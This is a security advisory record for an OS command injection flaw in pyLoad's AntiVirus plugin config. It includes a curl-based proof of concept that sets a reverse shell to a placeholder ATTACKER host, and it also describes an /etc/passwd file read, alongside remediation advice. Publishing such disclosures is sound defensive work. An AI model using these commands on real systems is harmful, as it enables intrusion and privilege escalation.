{"id":"GHSA-w48f-wwwf-f5fr","summary":"pyLoad: Improper Neutralization of Special Elements used in an OS Command","details":"### Summary\n\nThe `ADMIN_ONLY_OPTIONS` protection mechanism restricts security-critical configuration values (reconnect scripts, SSL certs, proxy credentials) to admin-only access. However, this protection is **only applied to core config options**, not to plugin config options. The `AntiVirus` plugin stores an executable path (`avfile`) in its config, which is passed directly to `subprocess.Popen()`. A non-admin user with SETTINGS permission can change this path to achieve remote code execution.\n\n### Details\n\n**Safe wrapper — `ADMIN_ONLY_OPTIONS` (core/api/__init__.py:225-235):**\n\n```python\nADMIN_ONLY_OPTIONS = {\n    \"reconnect.script\",      # Blocks script path change\n    \"webui.host\",            # Blocks bind address change\n    \"ssl.cert_file\",         # Blocks cert path change\n    \"ssl.key_file\",          # Blocks key path change\n    # ... other sensitive options\n}\n```\n\n**Where it IS enforced — core config (core/api/__init__.py:255):**\n\n```python\ndef set_config_value(self, section, option, value):\n    if f\"{section}.{option}\" in ADMIN_ONLY_OPTIONS:\n        if not self.user.is_admin:\n            raise PermissionError(\"Admin only\")\n    # ...\n```\n\n**Where it is NOT enforced — plugin config (core/api/__init__.py:271-272):**\n\n```python\n    # Plugin config - NO admin check at all\n    self.pyload.config.set_plugin(category, option, value)\n```\n\n**Dangerous sink — AntiVirus plugin (plugins/addons/AntiVirus.py:75):**\n\n```python\ndef scan_file(self, file):\n    avfile = self.config.get(\"avfile\")    # User-controlled via plugin config\n    avargs = self.config.get(\"avargs\")\n    subprocess.Popen([avfile, avargs, target])  # RCE\n```\n\n### PoC\n\n```bash\n# As non-admin user with SETTINGS permission:\n\n# 1. Set AntiVirus executable to a reverse shell\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avfile' \\\n  -d 'value=/bin/bash'\n\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.avargs' \\\n  -d 'value=-c \"bash -i \u003e& /dev/tcp/ATTACKER/4444 0\u003e&1\"'\n\n# 2. Enable the AntiVirus plugin\ncurl -b session_cookie -X POST http://TARGET:8000/api/set_config_value \\\n  -d 'section=plugin' \\\n  -d 'option=AntiVirus.activated' \\\n  -d 'value=True'\n\n# 3. Add a download - when it completes, AntiVirus.scan_file() runs the payload\ncurl -b session_cookie -X POST http://TARGET:8000/api/add_package \\\n  -d 'name=test' \\\n  -d 'links=http://example.com/test.zip'\n\n# Result: reverse shell as the pyload process user\n```\n\n### Additional Finding: Arbitrary File Read via storage_folder\n\nThe `storage_folder` validation at `core/api/__init__.py:238-246` uses inverted logic — it prevents the new value from being INSIDE protected directories, but not from being an ANCESTOR of everything. Setting `storage_folder=/` combined with `GET /files/get/etc/passwd` gives arbitrary file read to non-admin users with SETTINGS+DOWNLOAD permissions.\n\n### Impact\n\n- **Remote Code Execution** — Non-admin user can execute arbitrary commands via AntiVirus plugin config\n- **Privilege escalation** — SETTINGS permission (non-admin) escalates to full system access\n- **Arbitrary file read** — Via storage_folder manipulation\n\n### Remediation\n\nApply `ADMIN_ONLY_OPTIONS` to plugin config as well:\n\n```python\n# In set_config_value():\nADMIN_ONLY_PLUGIN_OPTIONS = {\n    \"AntiVirus.avfile\",\n    \"AntiVirus.avargs\",\n    # ... any plugin option that controls executables or paths\n}\n\nif section == \"plugin\" and option in ADMIN_ONLY_PLUGIN_OPTIONS:\n    if not self.user.is_admin:\n        raise PermissionError(\"Admin only\")\n```\n\nOr better: validate that `avfile` points to a known AV binary before passing to `subprocess.Popen()`.","aliases":["CVE-2026-35463","PYSEC-2026-2267"],"modified":"2026-07-13T07:26:31.284618564Z","published":"2026-04-04T06:41:59Z","database_specific":{"github_reviewed_at":"2026-04-04T06:41:59Z","nvd_published_at":"2026-04-07T15:17:44Z","cwe_ids":["CWE-78"],"severity":"HIGH","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/pyload/pyload/security/advisories/GHSA-w48f-wwwf-f5fr"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35463"},{"type":"WEB","url":"https://github.com/pyload/pyload/commit/c4cf995a2803bdbe388addfc2b0f323277efc0e1"},{"type":"PACKAGE","url":"https://github.com/pyload/pyload"}],"affected":[{"package":{"name":"pyload-ng","ecosystem":"PyPI","purl":"pkg:pypi/pyload-ng"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.5.0b3.dev96"}]}],"versions":["0.5.0a5.dev528","0.5.0a5.dev532","0.5.0a5.dev535","0.5.0a5.dev536","0.5.0a5.dev537","0.5.0a5.dev539","0.5.0a5.dev540","0.5.0a5.dev545","0.5.0a5.dev562","0.5.0a5.dev564","0.5.0a5.dev565","0.5.0a6.dev570","0.5.0a6.dev578","0.5.0a6.dev587","0.5.0a7.dev596","0.5.0a8.dev602","0.5.0a9.dev615","0.5.0a9.dev629","0.5.0a9.dev632","0.5.0a9.dev641","0.5.0a9.dev643","0.5.0a9.dev655","0.5.0a9.dev806","0.5.0b1.dev1","0.5.0b1.dev2","0.5.0b1.dev3","0.5.0b1.dev4","0.5.0b1.dev5","0.5.0b2.dev10","0.5.0b2.dev11","0.5.0b2.dev12","0.5.0b2.dev9","0.5.0b3.dev13","0.5.0b3.dev14","0.5.0b3.dev17","0.5.0b3.dev18","0.5.0b3.dev19","0.5.0b3.dev20","0.5.0b3.dev21","0.5.0b3.dev22","0.5.0b3.dev24","0.5.0b3.dev26","0.5.0b3.dev27","0.5.0b3.dev28","0.5.0b3.dev29","0.5.0b3.dev30","0.5.0b3.dev31","0.5.0b3.dev32","0.5.0b3.dev33","0.5.0b3.dev34","0.5.0b3.dev35","0.5.0b3.dev38","0.5.0b3.dev39","0.5.0b3.dev40","0.5.0b3.dev41","0.5.0b3.dev42","0.5.0b3.dev43","0.5.0b3.dev44","0.5.0b3.dev45","0.5.0b3.dev46","0.5.0b3.dev47","0.5.0b3.dev48","0.5.0b3.dev49","0.5.0b3.dev50","0.5.0b3.dev51","0.5.0b3.dev52","0.5.0b3.dev53","0.5.0b3.dev54","0.5.0b3.dev57","0.5.0b3.dev60","0.5.0b3.dev62","0.5.0b3.dev64","0.5.0b3.dev65","0.5.0b3.dev66","0.5.0b3.dev67","0.5.0b3.dev68","0.5.0b3.dev69","0.5.0b3.dev70","0.5.0b3.dev71","0.5.0b3.dev72","0.5.0b3.dev73","0.5.0b3.dev74","0.5.0b3.dev75","0.5.0b3.dev76","0.5.0b3.dev77","0.5.0b3.dev78","0.5.0b3.dev79","0.5.0b3.dev80","0.5.0b3.dev81","0.5.0b3.dev82","0.5.0b3.dev85","0.5.0b3.dev87","0.5.0b3.dev88","0.5.0b3.dev89","0.5.0b3.dev90","0.5.0b3.dev91","0.5.0b3.dev92","0.5.0b3.dev93","0.5.0b3.dev94","0.5.0b3.dev95","0.5.0b3.dev96"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-w48f-wwwf-f5fr/GHSA-w48f-wwwf-f5fr.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}